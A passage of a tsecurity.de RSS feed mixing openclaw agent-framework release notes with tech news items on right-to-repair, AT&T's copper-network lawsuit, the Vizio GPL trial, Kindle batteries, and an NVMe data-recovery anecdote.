<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267080618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67052/hovercard" href="https://github.com/openclaw/openclaw/issues/67052">#67052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a> (closed), prior attempt <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291455267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69026/hovercard" href="https://github.com/openclaw/openclaw/pull/69026">#69026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpruit20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpruit20">@jpruit20</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475877718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84059" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84059/hovercard" href="https://github.com/openclaw/openclaw/issues/84059">#84059</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479751609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84250/hovercard" href="https://github.com/openclaw/openclaw/pull/84250">#84250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Repair-Cafés jubeln: Bundestag beschließt Ökodesign-Reform für Nachhaltigkeit]]></title>
<description><![CDATA[Mit einer Reform der Ökodesign-Regeln bringt der Bundestag langlebige Produkte und scharfe Kontrollen auf den Weg. Ehrenamtliche haben Anspruch auf Ersatzteile.]]></description>
<link>https://tsecurity.de/de/3542060/it-nachrichten/repair-cafs-jubeln-bundestag-beschliesst-oekodesign-reform-fuer-nachhaltigkeit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542060/it-nachrichten/repair-cafs-jubeln-bundestag-beschliesst-oekodesign-reform-fuer-nachhaltigkeit/</guid>
<pubDate>Sat, 23 May 2026 16:17:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit einer Reform der Ökodesign-Regeln bringt der Bundestag langlebige Produkte und scharfe Kontrollen auf den Weg. Ehrenamtliche haben Anspruch auf Ersatzteile.]]></content:encoded>
</item>
<item>
<title><![CDATA[AT&amp;T Sues California In Bid To Stop Offering Traditional Phone Service]]></title>
<description><![CDATA[An anonymous reader quotes a report from Reuters: AT&T on Wednesday filed suit (PDF) against California officials seeking a court order declaring it does not have to continue offering traditional copper wire phone service to new customers as it vowed to spend $19 billion on modern telecom service...]]></description>
<link>https://tsecurity.de/de/3538266/it-security-nachrichten/atampt-sues-california-in-bid-to-stop-offering-traditional-phone-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3538266/it-security-nachrichten/atampt-sues-california-in-bid-to-stop-offering-traditional-phone-service/</guid>
<pubDate>Fri, 22 May 2026 05:37:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Reuters: AT&amp;T on Wednesday filed suit (PDF) against California officials seeking a court order declaring it does not have to continue offering traditional copper wire phone service to new customers as it vowed to spend $19 billion on modern telecom services. California requires the U.S. wireless carrier to spend $1 billion annually to maintain a century-old telephone network that few use, AT&amp;T said, saying the network now serves just 3% of households in AT&amp;T's California territory.
 
AT&amp;T's suit named the California Public Utilities Commission and the state attorney general. AT&amp;T said it is committing to investing $19 billion in California as it works to connect more than 4 million additional households and businesses across California by 2030 and added IP-based networks are far more reliable and efficient. AT&amp;T also Wednesday asked the Federal Communications Commission for permission to discontinue traditional phone service in parts of California where it has faster, more reliable service available. It also filed a petition with the FCC to declare that California's rules that effectively require AT&amp;T to power, repair and sell traditional phone service, even after the FCC has authorized the service to be phased out, are preempted by federal standards.
 
AT&amp;T added that transitioning from copper will save an estimated 300 million kilowatt-hours annually by 2030 or the equivalent of eliminating emissions from 17 million gallons of gasoline. The company added that California has already suffered about 2,000 outages from copper thefts this year and it struggles to find replacement parts. The federal government and virtually all states where AT&amp;T historically offered copper-wire service "have now eliminated outdated regulatory obstacles" allowing AT&amp;T to begin powering down its old network and increasing its investments in modern communication technologies, the company said in its lawsuit filed in U.S. District Court in southern California.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AT%26amp%3BT+Sues+California+In+Bid+To+Stop+Offering+Traditional+Phone+Service%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F22%2F0129209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F22%2F0129209%2Fatt-sues-california-in-bid-to-stop-offering-traditional-phone-service%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/05/22/0129209/att-sues-california-in-bid-to-stop-offering-traditional-phone-service?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yearslong Fight Over Users' Right To Tweak Smart TV Software Heads To Trial]]></title>
<description><![CDATA[A long-running lawsuit over Vizio's Linux-based smart TV software is headed to trial in August, with the Software Freedom Conservancy arguing that GPL rules require Vizio to release complete source code owners could use to modify, maintain, or strip ads and tracking from their TVs. Ars Technica r...]]></description>
<link>https://tsecurity.de/de/3533930/it-security-nachrichten/yearslong-fight-over-users-right-to-tweak-smart-tv-software-heads-to-trial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533930/it-security-nachrichten/yearslong-fight-over-users-right-to-tweak-smart-tv-software-heads-to-trial/</guid>
<pubDate>Wed, 20 May 2026 19:05:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A long-running lawsuit over Vizio's Linux-based smart TV software is headed to trial in August, with the Software Freedom Conservancy arguing that GPL rules require Vizio to release complete source code owners could use to modify, maintain, or strip ads and tracking from their TVs. Ars Technica reports: The outcome could reverberate across the industry. Because many of today's popular smart TV operating systems are Linux-based, the case may help determine how much control many owners have over their sets. Access to the full code would allow users to make meaningful changes to how their TVs work, including limiting ads or deactivating automatic content recognition.
 
[...] The Software Freedom Conservancy argues it has the right to Vizio OS's source code because it owns several Vizio TVs and because the operating system is based on Ubuntu, a Linux distribution. (SFC employees bought seven Vizio TVs from 2018 to 2021 after getting complaints about Vizio not sharing its TVs' source code, according to the complaint.) In general, the Linux kernel is provided under the terms of GPLv2, as noted by kernel.org, which is run by the Linux Kernel Organization.
 
SFC's lawsuit alleges that Vizio breached GPLv2 and LGPLv2.1 by failing to make available the complete source code for Vizio OS. The case is currently in the Orange County Superior Court of the State of California. The lawsuit targets Vizio specifically, but the impact could extend to other Linux-based smart TV OSes such as LG's webOS, Samsung's Tizen, and Roku's Roku OS. "We expect all companies who distribute Linux and other software using right-to-repair agreements like the GPL in their products would comply with these agreements," Denver Gingerich, the director of compliance at SFC, told Ars. [...] SFC expects a ruling within three to six months of the conclusion of the trial, which is currently scheduled for August 10.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Yearslong+Fight+Over+Users'+Right+To+Tweak+Smart+TV+Software+Heads+To+Trial%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F20%2F1625205%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F20%2F1625205%2Fyearslong-fight-over-users-right-to-tweak-smart-tv-software-heads-to-trial%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/05/20/1625205/yearslong-fight-over-users-right-to-tweak-smart-tv-software-heads-to-trial?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon could be upgrading its next generation of Kindles with replaceable batteries for users — but is it enough to make up for ending support for its older but widely-used e-readers?]]></title>
<description><![CDATA[Amazon could be upgrading its next lineup of Kindles with replaceable batteries, making it easier for users to repair their own devices.]]></description>
<link>https://tsecurity.de/de/3531076/it-nachrichten/amazon-could-be-upgrading-its-next-generation-of-kindles-with-replaceable-batteries-for-users-but-is-it-enough-to-make-up-for-ending-support-for-its-older-but-widely-used-e-readers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531076/it-nachrichten/amazon-could-be-upgrading-its-next-generation-of-kindles-with-replaceable-batteries-for-users-but-is-it-enough-to-make-up-for-ending-support-for-its-older-but-widely-used-e-readers/</guid>
<pubDate>Wed, 20 May 2026 01:02:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon could be upgrading its next lineup of Kindles with replaceable batteries, making it easier for users to repair their own devices.]]></content:encoded>
</item>
<item>
<title><![CDATA[What Is Riot Repair Tool?]]></title>
<description><![CDATA[Riot Repair Tool is Riot Games’ official diagnostic utility for fixing client and game issues across their titles. It runs targeted checks on your system, identifies what’s broken, and applies fixes — all without requiring you to reinstall the game from scratch or dig through support forums. If y...]]></description>
<link>https://tsecurity.de/de/3529667/betriebssysteme/what-is-riot-repair-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529667/betriebssysteme/what-is-riot-repair-tool/</guid>
<pubDate>Tue, 19 May 2026 17:26:33 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Riot Repair Tool is Riot Games’ official diagnostic utility for fixing client and game issues across their titles. It runs targeted checks on your system, identifies what’s broken, and applies fixes — all without requiring you to reinstall the game from scratch or dig through support forums. If you’ve been searching for the Hextech Repair […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/software/hextech-repair-tool/">What Is Riot Repair Tool?</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Only Gnome Disks managed to read my disk and recover nvme data]]></title>
<description><![CDATA[reference image STORY: I have my own PC equipment and repair shop, I do some basic data recovery via various software. One of my customer has brought in a 2TB Kingston NV3 nvme which had no signs of life at all. I checked it and this was the story: BIOS was reading it as PCIE 4.0 disk and not as ...]]></description>
<link>https://tsecurity.de/de/3527630/linux-tipps/only-gnome-disks-managed-to-read-my-disk-and-recover-nvme-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527630/linux-tipps/only-gnome-disks-managed-to-read-my-disk-and-recover-nvme-data/</guid>
<pubDate>Tue, 19 May 2026 03:45:01 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><em>reference image</em></p> <p>STORY:</p> <p>I have my own PC equipment and repair shop, I do some basic data recovery via various software. One of my customer has brought in a 2TB Kingston NV3 nvme which had no signs of life at all. I checked it and this was the story: BIOS was reading it as PCIE 4.0 disk and not as Kingston NV3. Boot manager wasnt reading the boot partition, Windows file explorer / partition manager / diskpart / various windows disk recovery software wasnt reading the disk at all and it would just freeze my windows. But after i booted linux mint debian and started gnome disks it was reading it perfectly since the disk wasnt auto mounted i just mounted the NTFS partition and boom I got all of my customer files. He was so happy since one other repair shop offered 500$ to "TRY" to fix it phisically. Note: gparted on linux didnt work either only gnome disks.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/EnvironmentalRatio0"> /u/EnvironmentalRatio0 </a> <br> <span><a href="https://i.redd.it/sm3wvnqz2z1h1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1th40vj/only_gnome_disks_managed_to_read_my_disk_and/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.19-beta.1]]></title>
<description><![CDATA[2026.5.19
Changes

Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.
Dependencies: update @openclaw/proxyline to 0.3.3.
Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to ...]]></description>
<link>https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</guid>
<pubDate>Tue, 19 May 2026 01:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.19</h2>
<h3>Changes</h3>
<ul>
<li>Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.</li>
<li>Dependencies: update <code>@openclaw/proxyline</code> to 0.3.3.</li>
<li>Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to 22.19.</li>
<li>Docker/Podman: add <code>OPENCLAW_IMAGE_APT_PACKAGES</code> as the runtime-neutral image build arg for extra apt packages while keeping <code>OPENCLAW_DOCKER_APT_PACKAGES</code> as a legacy fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217026381" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62431/hovercard" href="https://github.com/openclaw/openclaw/pull/62431">#62431</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/urtabajev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/urtabajev">@urtabajev</a>.</li>
<li>Gateway/ACPX: attribute startup probe, config, runtime, and resource-count costs in restart traces without changing readiness behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83300" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83300/hovercard" href="https://github.com/openclaw/openclaw/pull/83300">#83300</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway: overlap startup logging and plugin-service startup with channel sidecars to reduce restart ready latency while preserving <code>/readyz</code> sidecar gating. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83301" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83301/hovercard" href="https://github.com/openclaw/openclaw/pull/83301">#83301</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Plugins/admin-http-rpc: allow trusted admin HTTP RPC clients to start and wait for web QR login flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464874472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83259" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83259/hovercard" href="https://github.com/openclaw/openclaw/pull/83259">#83259</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>.</li>
<li>Mac app: redesign Settings pages with consistent card layouts, cached navigation, cleaner permissions/voice/skills/cron/exec/debug panes, and steadier spacing around the native sidebar.</li>
<li>Skills: rename the repo-local Codex closeout review skill and helper to <code>autoreview</code> while preserving the Codex-first fallback behavior.</li>
<li>Skills: add a meme-maker skill for curated template search, local SVG/PNG rendering, Imgflip hosted rendering, and Know Your Meme provenance links.</li>
<li>Skills CLI: allow <code>openclaw skills install</code> and <code>openclaw skills update</code> to target shared managed skills with <code>--global</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351987851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74466/hovercard" href="https://github.com/openclaw/openclaw/pull/74466">#74466</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Browser: surface pending and recently handled modal dialogs in snapshots, return <code>blockedByDialog</code> when an action opens a modal, and allow <code>browser dialog --dialog-id</code> to answer pending dialogs.</li>
<li>Browser CLI: add <code>openclaw browser evaluate --timeout-ms</code> so long-running page functions can extend both the evaluate action and request timeout budgets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466445698" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83447/hovercard" href="https://github.com/openclaw/openclaw/pull/83447">#83447</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eefreenyc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eefreenyc">@eefreenyc</a>.</li>
<li>Codex app-server: scope OpenClaw prompt guidance by runtime surface so native Codex keeps Codex-owned base/personality instructions while OpenClaw contributes only runtime context, delivery guidance, and explicitly scoped command hints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466538467" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83454/hovercard" href="https://github.com/openclaw/openclaw/pull/83454">#83454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/tools: shorten built-in tool descriptions and schema hints across media, messaging, sessions, cron, Gateway, web, image/PDF, TTS, nodes, and plan tools while preserving routing guardrails.</li>
<li>Skills: add node inspector debugging, fused diagram generation, and throwaway spike workflow skills.</li>
<li>CLI/plugins: add <code>defineToolPlugin</code> plus <code>openclaw plugins build</code>, <code>validate</code>, and <code>init</code> for typed simple tool plugins with generated manifest metadata, optional tool declarations, and context factories.</li>
<li>Agents/skills: tighten bundled skill prompts and metadata, quote skill descriptions, refresh current CLI/API guidance, and update embedded sherpa-onnx runtime downloads.</li>
<li>Skills: update the Obsidian skill to target the official <code>obsidian</code> CLI and require its registered binary instead of the third-party <code>obsidian-cli</code>.</li>
<li>Skills: add a Python debugging skill for pdb, breakpoint(), post-mortem inspection, and debugpy remote attach.</li>
<li>Plugins/messages: add presentation capability limits for channel renderers, adapt rich message controls before native rendering, and mark legacy <code>interactive</code>/Slack directive producer APIs as deprecated.</li>
<li>Plugins/subagents: store channel delivery routes as canonical session metadata and deprecate ad hoc subagent hook delivery-origin fields in favor of core route projection.</li>
<li>Proxy: support HTTPS managed forward-proxy endpoints and scoped <code>proxy.tls.caFile</code> CA trust for proxy endpoint TLS. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403048153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79171" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79171/hovercard" href="https://github.com/openclaw/openclaw/pull/79171">#79171</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>QA-Lab: add first-hour 20-turn and optional 100-turn runtime parity scenarios, with tier metadata for standard and soak QA gates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188988" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80338/hovercard" href="https://github.com/openclaw/openclaw/issues/80338">#80338</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add <code>openclaw qa suite --runtime-parity-tier</code> and wire the standard Codex-vs-Pi tier into release checks separately from optional/live-only/soak lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only Codex Pi-shaped Read vocabulary canary so runtime parity catches native workspace-read prompt compatibility drift. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add live-only harness self-health scenarios for plugin hook crashes, manifest contract errors, and WebChat direct-reply self-message routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add runtime tool fixture scenarios and coverage reporting for Codex-native workspace tools, OpenClaw dynamic tools, and optional plugin-backed tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415099454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80173" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80173/hovercard" href="https://github.com/openclaw/openclaw/issues/80173">#80173</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: expose runtime tool fixture coverage through <code>openclaw qa coverage --tools</code>, with optional suite-summary evaluation for parity gate artifacts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: schedule a live-frontier Codex-vs-Pi runtime token-efficiency artifact lane in the all-lanes QA workflow. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415101470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80175/hovercard" href="https://github.com/openclaw/openclaw/issues/80175">#80175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: hard-gate required OpenClaw dynamic runtime-tool drift in the standard Codex-vs-Pi tier with a blocking release-check verifier and publish the tool coverage report artifact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416189394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80339/hovercard" href="https://github.com/openclaw/openclaw/issues/80339">#80339</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add the personal-agent approval-denial scenario so the benchmark pack verifies denied local reads stop cleanly without tool progress or fixture leaks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463922408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83150" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83150/hovercard" href="https://github.com/openclaw/openclaw/pull/83150">#83150</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: extend the personal-agent benchmark pack with a local task followthrough scenario for proof-backed pending, blocked, and done status reporting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: add a report-only dreaming shadow-trial scenario so candidate memory promotion can be evaluated without mutating <code>MEMORY.md</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Gateway/performance: add <code>pnpm test:restart:gateway</code> benchmark tooling for repeated restart readiness, downtime, trace, and resource-slope evidence. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83299/hovercard" href="https://github.com/openclaw/openclaw/pull/83299">#83299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Android: switch Talk Mode to realtime Gateway relay voice sessions with streaming mic input, realtime audio playback, tool-result bridging, and on-screen transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463811067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83130/hovercard" href="https://github.com/openclaw/openclaw/pull/83130">#83130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
